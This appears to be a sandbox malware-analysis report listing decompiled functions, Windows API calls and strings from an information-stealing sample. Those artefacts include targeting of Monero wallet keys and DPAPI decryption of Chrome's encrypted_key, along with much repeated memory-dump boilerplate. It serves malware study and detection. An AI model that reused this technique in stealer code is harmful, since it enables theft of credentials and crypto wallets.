Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: aa209c111b90332c75a7eba07bc6ea955bb47e7bad6a14ecf98db8fe53c3a11e
Instruction ID: 741db8f249b4899b7cfbe8ab12c2fdb9828ce0a534ca708201a28a0b11ba9db8
Opcode Fuzzy Hash: aa209c111b90332c75a7eba07bc6ea955bb47e7bad6a14ecf98db8fe53c3a11e
Instruction Fuzzy Hash: DDE10072810108FADB15FBA4DC9AFEE7378AF54300F508169F516764A1EF387A49CB62

Function 007AD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

Part of subcall function 007B8B60: GetSystemTime.KERNEL32(007C0E1A,013FB6A8,007C05AE,?,?,007A13F9,?,0000001A,007C0E1A,00000000,?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007B8B86

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 007AD801
lstrlen.KERNEL32(00000000), ref: 007AD99F
lstrlen.KERNEL32(00000000), ref: 007AD9B3
DeleteFileA.KERNEL32(00000000), ref: 007ADA32

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 77066390008479388574d1eadb2fe06be674efc3df5266f6e66969d7bb4c0687
Instruction ID: 8947efa7702b58920c117a73e9f17442f824e678a0860b83eb3c5670ede9eea5
Opcode Fuzzy Hash: 77066390008479388574d1eadb2fe06be674efc3df5266f6e66969d7bb4c0687
Instruction Fuzzy Hash: A681D271910108FADB15FBA4DCA9FEE7378AF54300F504528F507B64A1EF386A09DB62

Function 007AF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

Part of subcall function 007A99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007A99EC
Part of subcall function 007A99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 007A9A11
Part of subcall function 007A99C0: LocalAlloc.KERNEL32(00000040,?), ref: 007A9A31
Part of subcall function 007A99C0: ReadFile.KERNEL32(000000FF,?,00000000,007A148F,00000000), ref: 007A9A5A
Part of subcall function 007A99C0: LocalFree.KERNEL32(007A148F), ref: 007A9A90
Part of subcall function 007A99C0: CloseHandle.KERNEL32(000000FF), ref: 007A9A9A

Part of subcall function 007B8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 007B8E52

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,007C1580,007C0D92), ref: 007AF54C
lstrlen.KERNEL32(00000000), ref: 007AF56B

Strings

^userContextId=4294967295, xrefs: 007AF59C
moz-extension+++, xrefs: 007AF5AD

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: e8a323cef3a0e3d9f3f31f83bc74880d33d8ed20ddca1512020c649928c3fdce
Instruction ID: 18a86ea06ae1571bdefea38fbbc4eecf354891c1ad1cce79724f37b7a36538e1
Opcode Fuzzy Hash: e8a323cef3a0e3d9f3f31f83bc74880d33d8ed20ddca1512020c649928c3fdce
Instruction Fuzzy Hash: 9751E275D10108FADB15FBB4DC9AEED7378AF94300F408528F91667591EE3C6A09CBA2

Function 007B70D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

s{, xrefs: 007B7111
s{, xrefs: 007B72AE, 007B7179, 007B717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 007B718C

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: s{$s{$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-576244276
Opcode ID: c31a623b3587f440bb4e52d2112575872acbace59466edfca1ecce646534a8e0
Instruction ID: bc1b674ed2f6f51fc8a0b19f7525c2e1f070b0b5512fc1fc9425111227ed14d5
Opcode Fuzzy Hash: c31a623b3587f440bb4e52d2112575872acbace59466edfca1ecce646534a8e0
Instruction Fuzzy Hash: D2514EB0D0421CEBDB18EB94DC99BEEB374AF94304F1041A8E61576181EB786E88CF65

Function 007A9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007A99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007A99EC
Part of subcall function 007A99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 007A9A11
Part of subcall function 007A99C0: LocalAlloc.KERNEL32(00000040,?), ref: 007A9A31
Part of subcall function 007A99C0: ReadFile.KERNEL32(000000FF,?,00000000,007A148F,00000000), ref: 007A9A5A
Part of subcall function 007A99C0: LocalFree.KERNEL32(007A148F), ref: 007A9A90
Part of subcall function 007A99C0: CloseHandle.KERNEL32(000000FF), ref: 007A9A9A

Part of subcall function 007B8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 007B8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 007A9D39

Part of subcall function 007A9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nz,00000000,00000000), ref: 007A9AEF
Part of subcall function 007A9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,007A4EEE,00000000,?), ref: 007A9B01
Part of subcall function 007A9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nz,00000000,00000000), ref: 007A9B2A
Part of subcall function 007A9AC0: LocalFree.KERNEL32(?,?,?,?,007A4EEE,00000000,?), ref: 007A9B3F

Part of subcall function 007A9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 007A9B84
Part of subcall function 007A9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 007A9BA3
Part of subcall function 007A9B60: LocalFree.KERNEL32(?), ref: 007A9BD3

Strings

DPAPI, xrefs: 007A9D89
"encrypted_key":", xrefs: 007A9D30
, xrefs: 007A9DC1

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: d0d3b78f4fcdda10c38119ecf3000c59595b412777f787f4cdfc4b72687a5a06
Instruction ID: 4b37435a37586c26ead5efac2a85bd02b80eecae9a6728d0048b5c848a4c4ae0
Opcode Fuzzy Hash: d0d3b78f4fcdda10c38119ecf3000c59595b412777f787f4cdfc4b72687a5a06
Instruction Fuzzy Hash: 4B3153B5E10109EBCB04DFE4DC85EEFB7B8BB85300F144619E601A7241E7389A54CBA1

Function 007B8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,007C05B7), ref: 007B86CA
Process32First.KERNEL32(?,00000128), ref: 007B86DE
Process32Next.KERNEL32(?,00000128), ref: 007B86F3

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

CloseHandle.KERNEL32(?), ref: 007B8761

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 3a013fc6c41944891e90aba8e2fc1a65bbe6df9efd0de1c3cf76b3f252bb9f65
Instruction ID: 7084301304bf63d23bb13539fb484928f5ccacf896eefcf968f439eeff47c5ec
Opcode Fuzzy Hash: 3a013fc6c41944891e90aba8e2fc1a65bbe6df9efd0de1c3cf76b3f252bb9f65
Instruction Fuzzy Hash: 7D314C71901218FBCB65EB90CC95FEEB778EB44700F1041A9E109A61A0DF386E45CFA2

Function 007B6AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013F8FF0,?,007C110C,?,00000000,?,007C1110,?,00000000,007C0AEF), ref: 007B6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 007B6AE8
CloseHandle.KERNEL32(00000000), ref: 007B6AF9
Sleep.KERNEL32(00001770), ref: 007B6B04
CloseHandle.KERNEL32(?,00000000,?,013F8FF0,?,007C110C,?,00000000,?,007C1110,?,00000000,007C0AEF), ref: 007B6B1A
ExitProcess.KERNEL32 ref: 007B6B22

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 623e04fc730e2ae302fb348c8de00622f3307884e238994253c16842ac3ef7f1
Instruction ID: b5173e276aa86b998313b487c607444a775c1b20d4b649f3cc949364404cf2a8
Opcode Fuzzy Hash: 623e04fc730e2ae302fb348c8de00622f3307884e238994253c16842ac3ef7f1
Instruction Fuzzy Hash: 6CF05EB0944209EFEB00FBA0DC4ABFE7B34FB04701F208515B602A51D1CBBC6940E666

Function 007A47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 007A4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 007A4849

Strings

<, xrefs: 007A47C9

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
